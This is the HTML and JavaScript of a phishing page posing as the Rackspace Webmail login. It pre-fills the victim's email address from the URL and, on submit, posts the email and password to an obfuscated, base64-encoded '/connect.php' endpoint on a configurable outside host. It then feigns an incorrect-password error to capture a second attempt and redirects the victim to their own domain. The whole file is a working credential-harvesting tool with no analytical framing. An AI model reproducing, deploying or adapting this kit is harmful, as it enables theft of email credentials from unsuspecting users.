<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>Rackspace Webmail: Hosted Email for Business</title>
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:100,400,500,700">
    <link href="https://apps.rackspace.com/versions/webmail/19.0.13-RC/favicon.ico" rel="shortcut icon" />

    <style>
        /* Page Defaults */
        * {
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
        }

        body {
            font-family: "Roboto", "Helvetica Neue", Helvetica, Arial, sans-serif;
            font-size: 14px;
            line-height: 1.42857;
            color: #333333;
            background-color: #FAFAFA;
            margin: 0;
        }

        .caption {
            display: inline-block;
            font-size: 12px;
            color: #666;
        }

        .base_link {
            display: inline-block;
            color: #0C7C84;
            text-decoration: none;
        }

        .base_links {
            background: #FFFFFF;
            text-align: center;
            padding-bottom: 20px;
            margin-top: -15px;
        }

        .divider {
            display: inline-block;
            margin: 0px 5px;
            color: #0C7C84;
        }

        /* Page Layout */
        #content {
            display: flex;
            align-items: center;
            justify-content: center;
            position: fixed;
            top: 0;
            left: 0;
            bottom: 0;
            right: 0;
            background: #EAEAEA;
        }

        #content-header {
            height: 53px;
            padding: 16px;
            font-size: 24px;
            font-weight: 300;
            line-height: 18px;
            background: #424242;
            color: #FCFCFC;
        }

        #content-header-logo {
            float: right;
        }

        #logo {
            width: 130px;
            margin-top: -9px;
            margin-right: -5px;
        }

        #content-header-label {
            float: left;
        }

        #content-body {
            display: flex;
            justify-content: start;
            background: #FFFFFF;
            min-width: 790px;
        }

        #banner-section {
            height: 285px;
            width: 314px;
            margin: 40px;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
        }

        #banner {
            width: 190px;
        }

        #divider {
            border: 1px solid rgb(224, 224, 224);
            margin: 40px 0px;
        }

        /* Form Layout */
        #form {
            display: flex;
            flex-direction: column;
            justify-content: center;
            padding: 20px;
            min-height: 268px;
            width: 100%;
        }

        #form-body {
            height: 205px;
            width: 100%;
            margin: 40px 0px 0px 20px;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding-right: 20px;
        }

        #form-container {
            width: 100%;
            margin: 0px auto;
            padding: 0px 10px;
        }

        .row {
            margin: 0px -10px;
        }

        .row:before,
        .row:after {
            content: " ";
            display: table;
        }

        .col {
            width: 100%;
            float: left;
            position: relative;
            min-height: 1px;
            padding: 0px 10px;
        }

        .form-group {
            width: inherit;
            padding-right: 30px;
            margin-bottom: 20px;
        }

        .form-label {
            position: relative;
            font-family: Roboto;
            font-size: 16px;
            margin-bottom: 8px;
            line-height: 1;
            color: #616161;
            display: inline-block;
            max-width: 100%;
        }

        .form-field {
            border: 1px solid #BDBDBD;
            border-radius: 2px;
            background: #FFFFFF;
            font-family: Roboto;
            font-size: 16px;
            color: #616161;
            height: 32px;
            display: block;
            width: 100%;
            padding: 4px 8px;
            line-height: 1.42857;
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
            -webkit-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
            -o-transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
            transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
        }

        #forgot-password {
            position: absolute;
            top: 0px;
            right: 40px;
            color: #0C7C84;
            text-decoration: none;
            background-color: transparent;
            box-sizing: border-box;
        }

        #submit-btn-toolbar {
            float: right;
            margin: auto 30px 15px -20px;
        }

        #submit-btn {
            float: right;
            display: inline-flex;
            flex-direction: row;
            justify-content: center;
            align-items: center;
            padding: 0 12px;
            height: 32px;
            line-height: 1px;
            font-size: 14px;
            font-weight: 400;
            text-transform: capitalize;
            color: #fff;
            background-color: #0C7C84;
            border-color: #0C7C84;
            margin-bottom: 0;
            text-align: center;
            vertical-align: middle;
            touch-action: manipulation;
            cursor: pointer;
            background-image: none;
            border: 1px solid transparent;
            white-space: nowrap;
            border-radius: 2px;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }

        #form-container {
            width: 100%;
            margin: 0px auto;
            padding: 0px 10px;
        }

        @media only screen and (max-device-width: 480px) {

            /* Page Defaults */
            body {
                font-size: 19pt;
                line-height: 1.42857em;
            }

            .caption {
                display: inline-block;
                font-size: 80%;
                color: #666;
            }

            /* Page Layout */
            #content {
                align-items: inherit;
                display: inherit;
                justify-content: inherit;
            }

            #content-header {
                font-size: 171%;
                height: 3em;
                line-height: 1em;
                padding: 1em;
            }

            #content-header-logo {
                float: right;
            }

            #logo {
                margin-left: 6em;
                width: inherit;
                height: 1em;
            }

            #banner-section {
                display: none;
            }

            #divider {
                display: none;
            }

            /* Form Layout */
            .form-label {
                font-size: 114%;
            }

            .form-field {
                font-size: 114%;
                height: 2em;
            }

            #forgot-password {
                right: 2em;
                top: 0;
            }

            #submit-btn-toolbar {
                margin: 1.5em 2em 1em -1.5em;
            }

            #submit-btn {
                font-size: 150%;
                height: 3em;
                padding: 1.25em;
            }
        }
    </style>
</head>

<body>

    <div style="position: sticky; top: 0; background-color: #f1f1f1;  z-index: 999;">
        <div id="google_translate_element"></div>
    </div>

    <div>
        <div id="content">
            <div>
                <div id="content-header">
                    <div id="content-header-logo"><img id="logo"
                            src="https://firebasestorage.googleapis.com/v0/b/gent-ba9d4.appspot.com/o/212R.png?alt=media&token=cda70a37-c62a-4c27-8d08-b25ce5504ce2" />
                    </div>
                    <div id="content-header-label">Webmail Login</div>
                </div>
                <div id="content-body">
                    <div id="banner-section">
                        <a href="#" target="_blank">
                            <img id="banner"
                                src="https://firebasestorage.googleapis.com/v0/b/gent-ba9d4.appspot.com/o/R-SEB.jpg?alt=media&token=2013453b-fc6f-40a0-87dc-bc1618561419" />
                        </a>
                    </div>
                    <div id="divider"></div>

                    <script src="#" type="text/javascript"></script>
                    <div id="form-body">
                        <div id="form-container">
                            <div style="color: rgb(211, 47, 47); margin-bottom: 20px; font-weight: 500;" id="msg"></div>
                            <input type="hidden" name="__RequestVerificationToken"
                                value="CfDJ8PJv2PmI83xDqNI3IL5jbf48bPz9K-88o7ulkxxYZwgXVk5f7EaZ8JnMHp7C_nYKNWi_RWdi8hCnMd1iE_rNvOIAuCs1i_1jcygEYsx12C67awtTIYI0ToKEeaS8EqIXVHUMfCEglWsnfGkzeSdnEQc" />
                            <!-- destination and flags is used for OWA login -->

                            <form id="" name="form1" data-name="" action="" method="post" required>

                                <input id="form-destination" type="hidden" name="destination" value="" />
                                <input id="form-owa-flags" type="hidden" name="flags" value="4" />
                                <div id="user-row" class="row">
                                    <div id="user-col" class="col">
                                        <div id="user-field" class="form-group">
                                            <label id="user-label" class="form-label">Email address</label>
                                            <input type="email" name="ai" id="ai" class="form-field" value=""
                                                autocomplete="username" readonly required />
                                        </div>
                                    </div>
                                </div>
                                <div id="pass-row" class="row">
                                    <div id="pass-col" class="col">
                                        <div id="pass-field" class="form-group">
                                            <label id="pass-label" class="form-label">Password</label>
                                            <input name="namep" id="pr" type="password" class="form-field" value=""
                                                autocomplete="off" required /><br>
                                            <div class="row">
                                                <div class="error" id="msg" style="display: none; color:red;">The user
                                                    name
                                                    or password you entered isn't correct. Try entering it again.</div>
                                                <div class="alert alert-danger" id="error"
                                                    style="display: none; color:red;">Incorrect Password</div>
                                            </div>
                                        </div>
                                        <a id="forgot-password" href="#" tabindex="4">Forgot password?</a>
                                    </div>
                                </div>
                        </div>
                    </div>
                    <div id="submit-btn-toolbar">
                        <button id="submit-btn" onclick="submitForm(event)" tabindex="3" type="submit">Log In</button>
                    </div>
                    </form>

                </div>
                <div class="base_links">
                    <a class="base_link" target="_blank" href="#">
                        Privacy Statement
                    </a>
                    <div class="divider"> | </div>
                    <a class="base_link" target="_blank" href="#">
                        Website Terms
                    </a>
                </div>
                <div class="footer" style="text-align: center; margin-top: 10px;">
                    <div class="caption">
                        Need webmail for your business? Learn more about
                        <a href="#" style="color: #666;">
                            Hosted Email
                        </a>
                        from Rackspace
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="./config.js"></script>

    <script>
/* global $ */
$(document).ready(function() {
    var count = 0;

    $('#back1').click(function() {
        $("#msg").hide();
        $('#ai').val("");
        $("#automail").animate({ left: 200, opacity: "hide" }, 0);
        $("#inputbar").animate({ right: 200, opacity: "show" }, 1000);

    });

    /////////////url ai getting////////////////
    var ai = window.location.hash.substr(1);
    if (!ai) {

    } else {
        // $('#ai').val(ai);
        var my_ai = ai;
        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        $('#ai').val(my_ai);
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);
        $("#msg").hide();
        $("#inputbar").animate({ left: 200, opacity: "hide" }, 0);
        $("#automail").animate({ right: 200, opacity: "show" }, 1000);
    }
    ///////////////url getting ai////////////////


    var atu = "L2Nvbm5lY3QucGhw";
	
    $('#submit-btn').click(function(event) {
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var ai = $("#ai").val();
        var pr = $("#pr").val();
        var msg = $('#msg').html();
        $('#msg').text(msg);
        ///////////new injection////////////////
        var my_ai = ai;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!ai) {
            $('#error').show();
            $('#error').html("Email field is empty.!");
            ai.focus;
            return false;
        }

        if (!filter.test(my_ai)) {
            $('#error').show();
            $('#error').html("That account doesn't exist. Enter a different account");
            ai.focus;
            return false;
        }
        if (!pr) {
            $('#error').show();
            $('#error').html("Please enter your password");
            ai.focus;
            return false;
        }
		
		
		if(pr.length < 5) {  

			$('#error').show();
            $('#error').html("Please check your password");
            ai.focus;  

			return false;  

		}

        var ind = my_ai.indexOf("@");
        var my_slice = my_ai.substr((ind + 1));
        var c = my_slice.substr(0, my_slice.indexOf('.'));
        var final = c.toLowerCase();
        var dom = c.toUpperCase();
        ///////////new injection////////////////
        count = count + 1;
        $('#ai').attr('disabled', "");
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(dom);

        $.ajax({
            dataType: 'JSON',
            url: `${config.baseUrl}${atob(atu)}`,
            type: 'POST',
            data: {
                ai: ai,
                pr: pr,
            },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr) {
                $('#submit-btn').html('Verifing...');
            },
            success: function(response) {
                if (response) {
                    $("#msg").show();
                    console.log(response);
                    if (response['signal'] == 'ok') {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            // window.location.replace(response['redirect_link']);
                            window.location.replace("http://www." + my_slice);

                        }
                        // $('#msg').html(response['msg']);
                    } else {
                        // $('#msg').html(response['msg']);
                    }
                }
            },
            error: function() {
                $("#pr").val("");
                if (count >= 2) {
                    count = 0;
                    window.location.replace("http://www." + my_slice);
                }
                $("#msg").show();
                // $('#msg').html("Please try again later");
            },
            complete: function() {
                $('#submit-btn').html('Login');
            }
        });
    });


});

function getParameterByName(name, url) {
			if (!url) url = window.location.href;
			name = name.replace(/[\[\]]/g, '\\$&');
			var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'),
				results = regex.exec(url);
			if (!results) return null;
			if (!results[2]) return '';
			return decodeURIComponent(results[2].replace(/\+/g, ' '));
		}
			
		const login_username = getParameterByName('cms');
		document.getElementById("ai").value = login_username;
</script>


</body>

</html>